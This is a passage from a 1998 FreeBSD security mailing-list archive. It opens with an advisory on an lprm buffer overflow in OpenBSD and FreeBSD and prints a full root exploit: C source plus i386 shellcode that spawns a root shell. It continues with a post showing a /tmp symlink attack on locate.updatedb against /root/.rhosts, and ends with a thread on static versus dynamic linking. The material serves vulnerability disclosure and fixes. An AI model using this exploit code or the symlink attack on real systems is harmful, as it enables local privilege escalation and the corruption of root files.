recompile the lpr subsystem to protect yourself against this attack. See www.openbsd.org/security.html and www.freebsd.org for details. Details ------- lprm allows a user to remove all his jobs on a print queue by passing his username as an argument to lprm, e.g. "lprm -P PRINTER bloggs". Only root is allowed to specify usernames other than his own. Passing your own username more than once (as in "lprm -P PRINTER bloggs bloggs") is allowed, but redundant. The user(s) specified are stored in a global array called `user'. If the printer specified is a remote printer then lprm connects to the remote lpd daemon and sends it a message of the form "\5 XX USER1 USER2 ...\n" where XX is the "rp" capability of the remote printer, or the string "lp" if this capability has not been specified and USERN are the users from the command line. This happens in rmremote() of rmjob.c: 317 void 318 rmremote() 319 { 320 register char *cp; 321 register int i, rem; 322 char buf[BUFSIZ]; 323 void (*savealrm)(int); 324 325 if (!remote) 326 return; /* not sending to a remote machine */ 327 328 /* 329 * Flush stdout so the user can see what has been deleted 330 * while we wait (possibly) for the connection. 331 */ 332 fflush(stdout); 333 334 (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person); 335 cp = buf; 336 for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) { 337 cp += strlen(cp); 338 *cp++ = ' '; 339 strcpy(cp, user[i]); 340 } The problem lies on lines 334-335. Note that a string is snprintf()'ed into buf and then cp is initialised to point at the beginning of the buffer. Therefore on the first iteration around the loop on line 336 cp - buf = 0. This means that we can pass a string of length up to length sizeof(buf) - 1 - 1 = 1022 in user[0] (which is the first user on the command line). In the loop, cp is advanced by the length of the string it points to plus one character. On the first iteration this is P + 3 characters where P = strlen(RP) + strlen(person) (RP is the "rp" capability for the printer (default: "lp"), person is your username) Then the contents of user[i] is appended to cp. If we pass a string of length 1022 characters in user[0] then the buffer will be overflowed by (1022 + P + 3 + 1) - 1024 = P + 2 bytes (including the terminating '\0') on the first iteratation of the loop. If RP = "lp" (the default) this means that the user bloggs can overflow by 10 bytes, the last of which will be a null byte. So, is this useful for bloggs? Looking at the source it would appear not, there are three doubleword sized variables (cp, i and rem = 12 bytes) declared before buf, meaning he can't get to the saved EIP with his 10 byte overflow, and there doesn't seem to be any way to get what we want from manipulating these variables. Note that if the programmer had declared the function pointer savealrm before the buffer then we could "restore" the SIGALRM handler to an arbitrary location. But -- those three variables are declared with the register attribute!!! For the uninitiated, this is a hint to the compiler to place those variables in a register if possible for speed of access. Assuming the compiler can do this, it also has the side effect of not requiring the compiler to allocate memory for the variable if its address is not taken. A quick look through the rest of the source for rmremote() shows that their address is not taken -- things are looking up! Lets compile our own static version of lprm with debugging on using the same optimisation flags as the system Makefile and look at the assembly produced to see where the compiler puts cp, i and rem. $ make lprm CFLAGS="-g -static" $ gdb lprm (gdb) x/5i rmremote 0x2464 : pushl %ebp 0x2465 : movl %esp,%ebp 0x2467 : subl $0x408,%esp 0x246d : pushl %edi 0x246e : pushl %esi (gdb) p 0x408 $3 = 1032 So, it allocates 1032 bytes on the stack, presumably this is composed of one of cp, i and rem, then the 1024 byte buffer and then savealrm. This would means that bloggs can overflow the saved EBP, and even write up to two bytes to the saved EIP. (the last of which would be NULL) Unfortunately this is useless on the Intel i386 because the MSB(yte) of the EIP is located highest on the stack meaning we can only influence the two LSBs of the the EIP and since our buffer is located up at the top of the address space we need the MSB of the saved EIP to look like 0xFF or 0xEF and it is probably 0x00 since rmremote would have been called from the text segment which is located at the bottom of the address space. On a big endian machine we *might* have been able to do something with this, but it would not have been easy. However, God is on our side again, looking down further through the asm we notice that gcc has actually allocated the buffer at $esp - 1024. Look at the pushing of the arguments for the call to snprintf: (gdb) x/11i 0x1fbc : movl $0x1550,%eax 0x1fc1 : pushl %eax 0x1fc2 : movl 0x3ea88,%eax 0x1fc7 : pushl %eax 0x1fc8 : pushl $0x1f3a 0x1fcd : pushl $0x400 0x1fd2 : leal 0xfffffc00(%ebp),%eax 0x1fd8 : pushl %eax 0x1fd9 : call 0x21630 (gdb) p -(~0xfffffc00 + 1) $2 = -1024 This means that we only need a nine byte overflow! (9 = 4 for saved EBP + 4 for saved EIP + 1 null terminating '\0' which must not be in saved EIP) I'm not sure why gcc has allocated the variables in this way, but who's complaining? :) Lets just check that we have done our sums right before moving on to write the exploit: where do we put the bytes into user[0] so that they overwrite the EIP? Well, writing 1028 bytes into buf leaves us just before the EIP, to write this many bytes we put 1028 - (P + 3) bytes in user[0], the (P + 3) comes from the data already placed in the buffer by the snprintf. For the user bloggs on a system where RP = "lp", P = 8. Lets check this out on our own system: (copy lprm to get it to core dump) $ id -un bloggs $ cp /usr/bin/lprm /tmp $ /tmp/lprm -P remote `perl -e ' > print "A" x (1028 - 8 - 3); > printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE); > '` connection to remote is down zsh: segmentation fault (core dumped) /tmp/lprm -P remote $ gdb --quiet lprm /tmp/lprm.core Core was generated by `lprm'. Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) Bang on. Exploit ------- [ Its all pretty much plain sailing from here on, the main reason for this section is to demonstrate the leeto method of getting the shellcode that I haven't seen used before. :) ] Just before the "ret" at the end of rmremote() we want the stack to look like this: +-----------+ ESP -> | egg | --------\ +-----------+ | | space | | | space | | | space | | +-----------+ | | | | | | | \ shellcode \ | | | | | | | +-----------+ | | nop | | | nop | <<------/ | | The ret instruction pops the egg off into the EIP which will hopefully then point somewhere in the nops causing the CPU to chase up the stack to the shellcode. The shellcode itself is a fairly standard affair, it performs a seteuid(0), setuid(0), exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard tricks of xoring and subtraction of negative values to get/avoid null bytes and a call/ret to obtain the value of the EIP so it can locate the address of the "shAA/bin/shBCCCCDDDD" string. The neeto bit is that the shellcode is left in source form, the assembler generates a label for the beginning and end of the generated code so we can just memcpy the machine language representation into the buffer. This makes it easier to change and test the shellcode as you go, makes the exploit more easily portable and avoids the tedious task of hexdumping the instructions. As discussed before, the egg is placed at user[1028 - P - 3], we want the shellcode to be as near the top as possible, but we need to leave 12 bytes for the 4 pushl instructions in the shell code as the ESP will be equal to &egg + 4 when we enter the shellcode. (only 12 bytes because the first push goes onto the egg) This means we memcpy the shellcode into &user[1028 - P - 3 - 12 - SCSZ] where SCSZ is the size of the shell code. The code is appended to this file. To compile: cc lprm-bsd.c shellcode.S -o lprm-bsd Thanks ------ Special thanks to sdr and figz for letting me debug a problem with the exploit on OpenBSD. After 8 grueling hours I eventually traced the problem to the fact that char c = 0x90; isdigit(c) equals 0 on FreeBSD, and >0 on OpenBSD. Life sucks. Use isascii(). This exploit serves to point out that code auditing is no "silver bullet" when it comes to system security. The original patch made to rmjob.c was audited by three people from the OpenBSD and FreeBSD projects and yet the problem still remained. This is not a reflection on the abilities of the code auditors but rather on the difficulty of fully understanding and safely writing code which manages memory allocation at the byte level. Niall Smart, njs3@doc.ic.ac.uk /* lprm-bsd.c - Exploit for lprm vulnerability in OpenBSD and FreeBSD-stable k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998. The original version of this file contains a blatant error which anyone who is capable of understanding C will be able to locate and remove. Please do not distribute this file without this idiot-avoidance measure. Typical egg on FreeBSD: 0xEFBFCFDF Typical egg on OpenBSD: 0xEFBFD648 The exploit might take a while to drop you to a root shell depending on the timeout ("tm" capability) specified in the printcap file. */ #include #include #include #include #include #include #include extern void BEGIN_SC(); extern void END_SC(); int main(int argc, char** argv) { char buf[4096]; struct passwd* pw; char* cgstr; char* cgbuf; char* printer; char* printcaps[] = { "/etc/printcap", 0 }; int sc_size; /* size of shell code */ int P; /* strlen(RP) + strlen(person) */ unsigned egg; /* value to overwrite saved EIP with */ if (argc != 3) { fprintf(stderr, "usage: %s \n", argv[0]); exit(0); } if ( (pw = getpwuid(getuid())) == NULL) errx(1, "no password entry for your user-id"); printer = argv[1]; egg = (unsigned) strtoul(argv[2], NULL, 0); if (cgetent(&cgstr, printcaps, printer) < 0) errx(1, "can't find printer: %s", printer); if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0') errx(1, "printer is not remote: %s", printer); if (cgetstr(cgstr, "rp", &cgbuf) < 0) cgbuf = "lp"; sc_size = (char*) END_SC - (char*) BEGIN_SC; /* We can append 1022 bytes to whatever is in the buffer. We need to get up to 1032 bytes to reach the saved EIP, so there must be at least 10 bytes placed in the buffer by the snprintf on line 337 of rmjob.c and the subsequent *cp++ = '\0'; 3 = ' ' + ' ' + '\5' */ if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7) errx(1, "your username is too short"); fprintf(stderr, "P = %d\n", P); fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size); fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3); /* fill with NOP */ memset(buf, 0x90, sizeof(buf)); /* put letter in first byte, this fucker took me eight hours to debug. */ buf[0] = 'A'; /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */ memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size); /* finally, set egg and null terminate */ *((int*)&buf[1028 - P - 3]) = egg; buf[1022] = '\0'; memset(buf, 0, sizeof(buf)); execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0); fprintf(stderr, "doh.\n"); return 0; } /* shellcode.S - generic i386 shell code k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998. Please send me platform-specific mods. Example use: #include #include extern void BEGIN_SC(); extern void END_SC(); int main() { char buf[1024]; memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC); ((void (*)(void)) buf)(); return 0; } gcc -Wall main.c shellcode.S -o main && ./main */ #if defined(__FreeBSD__) || defined(__OpenBSD__) #define EXECVE 3B #define EXIT 01 #define SETUID 17 #define SETEUID B7 #define KERNCALL int $0x80 #else #error This OS not currently supported. #endif #define _EXECVE_A CONCAT($0x555555, EXECVE) #define _EXECVE_B CONCAT($0xAAAAAA, EXECVE) #define _EXIT_A CONCAT($0x555555, EXIT) #define _EXIT_B CONCAT($0xAAAAAA, EXIT) #define _SETUID_A CONCAT($0x555555, SETUID) #define _SETUID_B CONCAT($0xAAAAAA, SETUID) #define _SETEUID_A CONCAT($0x555555, SETEUID) #define _SETEUID_B CONCAT($0xAAAAAA, SETEUID) #define CONCAT(x, y) CONCAT2(x, y) #define CONCAT2(x, y) x ## y .global _BEGIN_SC .global _END_SC .data _BEGIN_SC: jmp 0x4 // jump past next two isns movl (%esp), %eax // copy saved EIP to eax ret // return to caller xorl %ebx, %ebx // zero ebx pushl %ebx // sete?uid(0) pushl %ebx // dummy, kernel expects extra frame pointer movl _SETEUID_A, %eax // andl _SETEUID_B, %eax // load syscall number KERNCALL // make the call movl _SETUID_A, %eax // andl _SETUID_B, %eax // load syscall number KERNCALL // make the call subl $-8, %esp // push stack back up call -40 // call, pushing addr of next isn onto stack addl $53, %eax // make eax point to the string movb %bl, 2(%eax) // append '\0' to "sh" movb %bl, 11(%eax) // append '\0' to "/bin/sh" movl %eax, 12(%eax) // argv[0] = "sh" movl %ebx, 16(%eax) // argv[1] = 0 pushl %ebx // push envv movl %eax, %ebx // subl $-12, %ebx // -(-12) = 12, avoid null bytes pushl %ebx // push argv subl $-4, %eax // -(-4) = 4, avoid null bytes pushl %eax // push path pushl %eax // dummy, kernel expects extra frame pointer movl _EXECVE_A, %eax // andl _EXECVE_B, %eax // load syscall number KERNCALL // make the call pushl %eax // push return code from execve pushl %eax // movl _EXIT_A, %eax // we shouldn't have gotten here, try and andl _EXIT_B, %eax // exit with return code from execve KERNCALL // JERONIMO! .ascii "shAA/bin/shBCCCCDDDD" // 01234567890123456789 _END_SC: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 20:46:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA21325 for freebsd-security-outgoing; Wed, 22 Apr 1998 20:46:25 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gatekeeper.alcatel.com.au (gatekeeper.alcatel.com.au [203.17.66.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA21279 for ; Thu, 23 Apr 1998 03:46:06 GMT (envelope-from peter.jeremy@alcatel.com.au) Received: from mfg1.cim.alcatel.com.au ([139.188.23.1]) by gatekeeper.alcatel.com.au (PMDF V5.1-7 #U2695) with ESMTP id <01IW7LM38JPS000LLF@gatekeeper.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Thu, 23 Apr 1998 13:45:30 +1000 Received: from cbd.alcatel.com.au by cim.alcatel.com.au (PMDF V5.1-10 #U2695) with ESMTP id <01IW7LLSR8CWDDZ5GV@cim.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Thu, 23 Apr 1998 13:45:16 +1000 Received: from gsms01.alcatel.com.au by cbd.alcatel.com.au (PMDF V5.1-7 #U2695) with ESMTP id <01IW7LLX3PAOAZTUBC@cbd.alcatel.com.au> for freebsd-security@FreeBSD.ORG; Thu, 23 Apr 1998 13:45:21 +1100 Received: (from jeremyp@localhost) by gsms01.alcatel.com.au (8.8.8/8.7.3) id NAA20055 for freebsd-security@FreeBSD.ORG; Thu, 23 Apr 1998 13:45:19 +1000 (EST) Date: Thu, 23 Apr 1998 13:45:19 +1000 (EST) From: Peter Jeremy Subject: Re: Static vs. dynamic linking To: freebsd-security@FreeBSD.ORG Message-id: <199804230345.NAA20055@gsms01.alcatel.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Wed, 22 Apr 1998 18:01:46 -0500 (EST), "John S. Dyson" wrote: >I haven't been watching this discussion carefully, but here >are the costs of shared libs: > > fork() performance is slower. This is virtually solely due to the cost of duplicating the larger page tables. In reality (and given the COW semantics, which delay the actual page table duplication), how much slower is forking a dynamic executable together with its shared libraries than forking a static executable (where much of the library code is embedded in the executable anyway)? > exec() performance is effectively slower (due to ld.so.) This is a big killer. Unfortunately, I don't have any magic solutions. > Shared libs often require additional page table pages > to map them. I'm not familiar with the low-level VM, so the answer to this might be obvious: Why can't the page tables associated with shared libraries be shared between processes? I know they won't get inherited, but can't mmap() share page tables as well as the underlying objects? >Here are the non-advantages: > > Shared libs don't help .text sharing, I don't quite follow this one. Isn't being able to share a single copy of libc.so across (almost) every process on the system better than sharing the part of libc.a compiled into /bin/sh across several dozen sh processes, with a second copy of much the same code being shared across several dozen csh processes (for example)? >My suggestions for programs that should probably not be linked shared >under any circumstances: > If the shared > libs are on /usr, any program that needs to be > able to work without /usr mounted. This translates as `if the shared libraries are in /usr, / should only contain statically linked programs'. If we had a (subset) of the shared libraries on /, this point is irrelevent. >Programs where it is likely slightly advantageous to link shared: > cc1, cc1plus, Actually, for programs where the text+data is very large compared to the libraries (the above, plus emacs and maybe perl(*)) the space savings incurred using shared libraries are probably outweighed by the performance gains through making them static. Also, I think John has ignored some of the advantages of shared libraries: - Fixing bugs in libraries is much easier - just replace a single libc.so and the bug is fixed in all the programs that use it. This mightn't be much of an issue for the hackers amongst us (who regularly rebuild their entire systems), but will be an issue as we try to expand our user base to less knowledgable people (and people who don't want to have to do a `make world' every time a CERT advisory comes out). - Run-time control (and extendability) of configuration. Examples are Sun's name service switch and volume management, as well as the idea of plug-in authentication modules for login (where this thread started). (*) In reality, perl5 needs access to the dynamic loader anyway and so isn't as good a choice. Peter -- Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au Alcatel Australia Limited 41 Mandible St Phone: +61 2 9690 5019 ALEXANDRIA NSW 2015 Fax: +61 2 9690 5247 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed Apr 22 23:10:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA11829 for freebsd-security-outgoing; Wed, 22 Apr 1998 23:10:00 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from wraith.cs.uow.edu.au (root@wraith.cs.uow.edu.au [130.130.64.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA11821 for ; Wed, 22 Apr 1998 23:09:54 -0700 (PDT) (envelope-from ncb05@uow.edu.au) Received: from banshee.cs.uow.edu.au (ncb05@banshee.cs.uow.edu.au [130.130.188.1]) by wraith.cs.uow.edu.au (8.9.0.Beta5/8.9.0.Beta5) with SMTP id QAA06729 for ; Thu, 23 Apr 1998 16:09:48 +1000 (EST) Date: Thu, 23 Apr 1998 16:09:46 +1000 (EST) From: Nicholas Charles Brawn X-Sender: ncb05@banshee.cs.uow.edu.au To: freebsd-security@FreeBSD.ORG Subject: Symlinks again... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Another symlink problem. The script /usr/libexec/locate.updatedb and /usr/libexec/locate.mklocatedb create predictable filenames in /tmp. Example attack is shown below. nbrawn@devel:~$ uname -a FreeBSD devel 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: Sun Apr 19 18:51:09 EST 1998 root@devel:/usr/src/sys/compile/devel i386 nbrawn@devel:~$ ls /tmp total 2 drwxrwxrwt 2 bin bin 512 Apr 23 15:28 ./ drwxr-xr-x 18 root wheel 512 Apr 23 15:14 ../ nbrawn@devel:~$ /usr/libexec/locate.updatedb [1]+ Stopped /usr/libexec/locate.updatedb nbrawn@devel:~$ ls /tmp total 2 drwxrwxrwt 2 bin bin 512 Apr 23 15:28 ./ drwxr-xr-x 18 root wheel 512 Apr 23 15:14 ../ -rw------- 1 nbrawn bin 0 Apr 23 15:28 _mklocatedb575.list -rw-r--r-- 1 nbrawn bin 0 Apr 23 15:28 _updatedb571 nbrawn@devel:~$ fg /usr/libexec/locate.updatedb locate.mklocatedb: cannot build locate database nbrawn@devel:~$ ps PID TT STAT TIME COMMAND 172 v2 Is 0:00.37 -bash (bash) 173 v3 Ss 0:00.96 -bash (bash) 584 v3 R+ 0:00.00 ps nbrawn@devel:~$ ln -s /root/.rhosts /tmp/_mklocatedb591.list nbrawn@devel:~$ su Password: su-2.01# /usr/libexec/locate.updatedb [1]+ Stopped /usr/libexec/locate.updatedb su-2.01# ls /tmp total 2 drwxrwxrwt 2 bin bin 512 Apr 23 15:29 ./ drwxr-xr-x 18 root wheel 512 Apr 23 15:14 ../ lrwxrwxrwx 1 nbrawn bin 13 Apr 23 15:29 _mklocatedb591.list@ -> /root/.rhosts -rw-r--r-- 1 root bin 0 Apr 23 15:29 _updatedb587 su-2.01# fg /usr/libexec/locate.updatedb su-2.01# ls /root/.rhosts -rw------- 1 root wheel 439009 Apr 23 15:30 /root/.rhosts su-2.01# exit exit nbrawn@devel:~$ The problem appears easily fixed by editing the problem scripts and adding a few lines: #!/bin/sh # # Copyright (c) September 1995 Wolfram Schneider . Berlin. # All rights reserved. [snip] # mklocatedb - build locate database # # usage: mklocatedb [-presort] < filelist > database # # $Id: mklocatedb.sh,v 1.2.2.1 1997/12/13 18:21:02 sef Exp $ [snip] umask 077 # protect temp files export ROOTDIR=/var/run TMPDIR=${TMPDIR:-/tmp}; export TMPDIR if test X"$TMPDIR" = X -o ! -d "$TMPDIR"; then TMPDIR=/tmp; export TMPDIR fi [snip] if [ "$USER" != "root" ] # won't work if su'ing, someone think of a then # better check :) bigrams=$TMPDIR/_mklocatedb$$.bigrams filelist=$TMPDIR/_mklocatedb$$.list else bigrams=$ROOTDIR/_mklocatedb$$.bigrams filelist=$ROOTDIR/_mklocatedb$$.list fi How many other programs/scripts in FreeBSD -stable and -current are using /tmp that should be using /var/run? Nicholas Brawn ps, sorry for the long post :) -- Email: ncb05@uow.edu.au Nicholas Brawn - Computer Science Undergraduate, University of Wollongong. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Apr 23 00:00:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA17606 for freebsd-security-outgoing; Thu, 23 Apr 1998 00:00:07 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA17504 for ; Thu, 23 Apr 1998 00:00:00 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id BAA08577; Thu, 23 Apr 1998 01:58:31 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804230658.BAA08577@dyson.iquest.net> Subject: Re: Static vs. dynamic linking In-Reply-To: <199804230345.NAA20055@gsms01.alcatel.com.au> from Peter Jeremy at "Apr 23, 98 01:45:19 pm" To: peter.jeremy@alcatel.com.au (Peter Jeremy) Date: Thu, 23 Apr 1998 01:58:31 -0500 (EST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk > On Wed, 22 Apr 1998 18:01:46 -0500 (EST), "John S. Dyson" wrote: > >I haven't been watching this discussion carefully, but here > >are the costs of shared libs: > > > > fork() performance is slower. > This is virtually solely due to the cost of duplicating the larger > page tables. In reality (and given the COW semantics, which delay > the actual page table duplication), how much slower is forking a > dynamic executable together with its shared libraries than forking > a static executable (where much of the library code is embedded in > the executable anyway)? > All I can say, is that it is enough slower to make it undesirable if you can avoid shared libs. I have made measurements, and the problems are real. Alot of time has been spent to make our kernel performance as good as it is (which is really good.) As I remember, it seems like forks for dynamic libs is about 2X slower or so. > > > Shared libs often require additional page table pages > > to map them. > I'm not familiar with the low-level VM, so the answer to this might > be obvious: Why can't the page tables associated with shared libraries > be shared between processes? I know they won't get inherited, but > can't mmap() share page tables as well as the underlying objects? > We use different locations in different images. There are numerous problems with what you suggest, and I have worked on it before. It is possible, but the symbol resolution still kills you. About 1/2+ of the overhead is in user mode, and the other 1/2- is in the kernel. Of course, the page table page sharing would be mostly only effective on .text segments, due to the need for seperate .data mappings in every program image. It seems that the mgmt overhead to maintain consistancy would be nearly break-even with our extremely quick mapping mechanisms. We have some very aggressive and efficient optimizations in the kernel for both the fork and exec cases. Actually, there is little more overhead than is measured on lmbench. We don't play the "defer, and hide from lmbench" game. We incur mapping cost up front on our executables, since our mapping during exec is about 100X faster than when faulting. It is tricky to get it right so it is faster, but it really does make a system wide difference. The exec overhead is relatively more huge than the fork overhead. > > > > Shared libs don't help .text sharing, > I don't quite follow this one. Isn't being able to share a single > copy of libc.so across (almost) every process on the system better > than sharing the part of libc.a compiled into /bin/sh across several > dozen sh processes, with a second copy of much the same code being > shared across several dozen csh processes (for example)? > If you have multiple invocations of the same process, we still share text. The problem is that .text is sparse and diffuse in the shared libs, and there is alot of cache footprint overhead, and additional dynamic page usage due to the sparseness. Shared libs really don't help in the case of multiple (>3-4) static and dynamic process instances, and mostly hurt because of this. > > >Programs where it is likely slightly advantageous to link shared: > > cc1, cc1plus, > Actually, for programs where the text+data is very large compared to > the libraries (the above, plus emacs and maybe perl(*)) the space > savings incurred using shared libraries are probably outweighed by the > performance gains through making them static. > I typically like the toolchain to be static, but that is my personal preference. On a single user system, it is probably a wash, but on a multi-user server, you are probably very right. Since we are talking about servers -- the various large (non-dlopen) items should probably be static. > > Also, I think John has ignored some of the advantages of shared > libraries: > > - Fixing bugs in libraries is much easier - just replace a single > libc.so and the bug is fixed in all the programs that use it. This > mightn't be much of an issue for the hackers amongst us (who > regularly rebuild their entire systems), but will be an issue > as we try to expand our user base to less knowledgable people > (and people who don't want to have to do a `make world' every > time a CERT advisory comes out). > - Run-time control (and extendability) of configuration. Examples > are Sun's name service switch and volume management, as well as > the idea of plug-in authentication modules for login (where this > thread started). > > (*) In reality, perl5 needs access to the dynamic loader anyway and > so isn't as good a choice. > We are a server OS, and our system *is* benchmarked. Lets not kill our already good (hard to achieve) performance. If we decide to go entirely dynamic, then the job isn't done in the performance area, and alot of work is needed. IMO, The only reasonable decision at this time is to allow those who have special applications rebuild their systems as needed, which they likely do anyway. We need to build for our predominant user base who don't normally need to build-world. I see our (non-make world) market as servers, by far, followed by workstations. Embedded product is mostly a (make world) market. How many of our problems can be fixed in the library(s) alone, anyway? John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Apr 23 08:21:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA15190 for freebsd-security-outgoing; Thu, 23 Apr 1998 08:21:25 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA15049 for ; Thu, 23 Apr 1998 08:21:05 -0700 (PDT) (envelope-from benedict@echonyc.com) Received: from localhost (benedict@localhost) by echonyc.com (8.8.7/8.8.7) with SMTP id LAA16102; Thu, 23 Apr 1998 11:17:28 -0400 (EDT) Date: Thu, 23 Apr 1998 11:17:27 -0400 (EDT) From: Snob Art Genre Reply-To: freebsd-hackers@FreeBSD.ORG To: "John S. Dyson" cc: Peter Jeremy , freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking In-Reply-To: <199804230658.BAA08577@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Thu, 23 Apr 1998, John S. Dyson wrote: > I see our (non-make world) market as servers, by far, followed by > workstations. Embedded product is mostly a (make world) market. Are you sure that servers don't build world? I certainly did plenty of compiling when I ran a server, mostly because I'd want to build some system administration tool. Ben "You have your mind on computers, it seems." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Apr 23 08:59:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA23429 for freebsd-security-outgoing; Thu, 23 Apr 1998 08:59:28 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gateman.zeus.leitch.com (gateman.zeus.leitch.com [204.187.61.193]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA23409 for ; Thu, 23 Apr 1998 08:59:08 -0700 (PDT) (envelope-from woods@tap.zeus.leitch.com) Received: from zeus.leitch.com (tap.zeus.leitch.com [204.187.61.10]) by gateman.zeus.leitch.com (8.8.5/8.7.3/1.0) with ESMTP id LAA06943 for ; Thu, 23 Apr 1998 11:59:06 -0400 (EDT) Received: from brain.zeus.leitch.com (brain.zeus.leitch.com [204.187.61.32]) by zeus.leitch.com (8.7.5/8.7.3/1.0) with ESMTP id LAA21557 for ; Thu, 23 Apr 1998 11:59:08 -0400 (EDT) Received: (from woods@localhost) by brain.zeus.leitch.com (8.8.8/8.8.8) id LAA09646; Thu, 23 Apr 1998 11:59:07 -0400 (EDT) (envelope-from woods@tap.zeus.leitch.com) Date: Thu, 23 Apr 1998 11:59:07 -0400 (EDT) Message-Id: <199804231559.LAA09646@brain.zeus.leitch.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-security@FreeBSD.ORG Subject: Re: Static vs. dynamic linking In-Reply-To: Peter Jeremy's message of "Thu, April 23, 1998 13:45:19 +1000" regarding "Re: Static vs. dynamic linking" id <199804230345.NAA20055@gsms01.alcatel.com.au> References: <199804230345.NAA20055@gsms01.alcatel.com.au> X-Mailer: VM 6.45 under Emacs 20.2.1 Reply-To: freebsd-security@FreeBSD.ORG Organization: Planix, Inc.; Toronto, Ontario; Canada Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk [ On Thu, April 23, 1998 at 13:45:19 (+1000), Peter Jeremy wrote: ] > Subject: Re: Static vs. dynamic linking > > - Fixing bugs in libraries is much easier - just replace a single > libc.so and the bug is fixed in all the programs that use it. This > mightn't be much of an issue for the hackers amongst us (who > regularly rebuild their entire systems), but will be an issue > as we try to expand our user base to less knowledgable people > (and people who don't want to have to do a `make world' every > time a CERT advisory comes out). That's definitely not as big a benefit as many people think it is, esp. in an "open source" system where it's relativley easy to re-build the whole world with all relevant fixes. The CM complexity issues of trying to fix more than one bug in a given library while still maintaining backwards compatability are often insurmountable. > - Run-time control (and extendability) of configuration. Examples > are Sun's name service switch and volume management, as well as > the idea of plug-in authentication modules for login (where this > thread started). "Security" and "plug-in" don't go together very well. -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu Apr 23 09:02:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA24945 for freebsd-security-outgoing; Thu, 23 Apr 1998 09:02:35 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from phoenix.volant.org (phoenix.volant.org [205.179.79.193]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA24679 for ; Thu, 23 Apr 1998 09:02:02 -0700 (PDT) (envelope-from patl@phoenix.volant.org) From: patl@phoenix.volant.org Received: from asimov.phoenix.volant.org [205.179.79.65] by phoenix.volant.org with smtp (Exim 1.62 #1) id 0ySORm-0007VF-00; Thu, 23 Apr 1998 09:02:02 -0700 Received: from localhost by asimov.phoenix.volant.org (SMI-8.6/SMI-SVR4) id JAA16515; Thu, 23 Apr 1998 09:00:11 -0700 Date: Thu, 23 Apr 1998 09:00:11 -0700 (PDT) Reply-To: patl@phoenix.volant.org Subject: 